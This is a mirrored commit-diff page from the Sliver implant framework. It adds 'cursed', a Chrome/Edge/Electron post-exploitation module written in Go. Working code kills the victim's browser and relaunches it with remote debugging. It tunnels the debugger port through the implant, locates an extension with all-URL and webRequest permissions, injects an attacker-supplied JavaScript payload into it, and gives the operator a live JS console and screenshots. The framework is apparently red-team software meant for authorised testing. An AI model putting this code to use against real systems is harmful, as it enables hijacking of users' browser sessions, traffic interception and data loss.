mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
42
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0c5f8a123b | ||
|
|
583edd7a2f | ||
|
|
e03381994c | ||
|
|
536ac4dd0f | ||
|
|
651941844a | ||
|
|
88a5b3a01c | ||
|
|
4c67157f48 | ||
|
|
d02c421e9e | ||
|
|
157b84ee5b | ||
|
|
b5f25e14ae | ||
|
|
4c9f701e0f | ||
|
|
336068cdf3 | ||
|
|
2b9b4eb5f3 | ||
|
|
e13faf9682 | ||
|
|
044688ace4 | ||
|
|
7e633962ce | ||
|
|
7911450862 | ||
|
|
519ef88866 | ||
|
|
823e22e120 | ||
|
|
94d672619b | ||
|
|
29f5a17339 | ||
|
|
d71c45223f | ||
|
|
2578513ae3 | ||
|
|
552a824e1b | ||
|
|
5a352de056 | ||
|
|
33e5525136 | ||
|
|
756bb7749e | ||
|
|
6233d2fbe7 | ||
|
|
729449b653 | ||
|
|
f1030ebaa4 | ||
|
|
7a962ae120 | ||
|
|
39da957b7c | ||
|
|
c230ce0b2e | ||
|
|
8b44024672 | ||
|
|
f8b17891d1 | ||
|
|
4ffb75fa15 | ||
|
|
f9bc1a7bd3 | ||
|
|
867ac37f1f | ||
|
|
04a7148ab7 | ||
|
|
010025645b | ||
|
|
a29135770f | ||
|
|
8de0eaff13 |
No files matched your search
+134
-1
@@ -42,6 +42,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -3298,6 +3299,138 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
|
||||
// [ Curse Commands ] ------------------------------------------------------------
|
||||
|
||||
cursedCmd := &grumble.Command{
|
||||
Name: consts.Cursed,
|
||||
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a Curse from a process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "kill", false, "kill the process after removing the curse")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Int("bind-port", "bind port of the Cursed process to stop")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedConsole,
|
||||
Help: "Start a JavaScript console connected to a debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedConsoleCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedChrome,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedChromeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedEdge,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedEdgeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ScreenshotStr,
|
||||
Help: "Take a screenshot of a cursed process debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
|
||||
f.String("s", "save", "", "save to file")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedScreenshotCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedElectron,
|
||||
Help: "Curse a remote Electron application",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "exe", "", "remote electron executable absolute path")
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedElectronCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
# Cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
@@ -0,0 +1,425 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
|
||||
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
|
||||
ErrUnsupportedOS = errors.New("unsupported OS")
|
||||
|
||||
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
|
||||
|
||||
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: chromeExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: chromeExePath,
|
||||
ChromeUserDataDir: chromeUserDataDir,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
case "darwin":
|
||||
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
chromeWindowsPaths := []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
|
||||
}
|
||||
if isEdge {
|
||||
chromeWindowsPaths = []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
}
|
||||
}
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
for _, chromePath := range chromeWindowsPaths {
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromeExecutablePath, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "darwin":
|
||||
// AFAIK Chrome only installs to this path on macOS
|
||||
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
if isEdge {
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return defaultChromePath, nil
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "linux":
|
||||
chromeLinuxPaths := []string{
|
||||
"/usr/bin/google-chrome",
|
||||
"/usr/bin/chromium-browser",
|
||||
"/usr/local/bin/google-chrome",
|
||||
"/usr/local/bin/chromium-browser",
|
||||
}
|
||||
if isEdge {
|
||||
chromeLinuxPaths = []string{
|
||||
"/usr/bin/microsoft-edge",
|
||||
"/usr/local/bin/microsoft-edge",
|
||||
}
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromePath, nil
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
"chrome.exe", // Windows
|
||||
"Google Chrome", // Darwin
|
||||
}
|
||||
for _, suffix := range chromeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
|
||||
startCursedConsole(curse, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
if len(targets) < 1 {
|
||||
con.PrintErrorf("No debug targets\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
id2target := map[string]overlord.ChromeDebugTarget{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, target := range targets {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
|
||||
id2target[target.ID] = target
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedID := strings.Split(selected, " ")[0]
|
||||
selectedTarget := id2target[selectedID]
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
}
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
case "exit":
|
||||
return
|
||||
default:
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
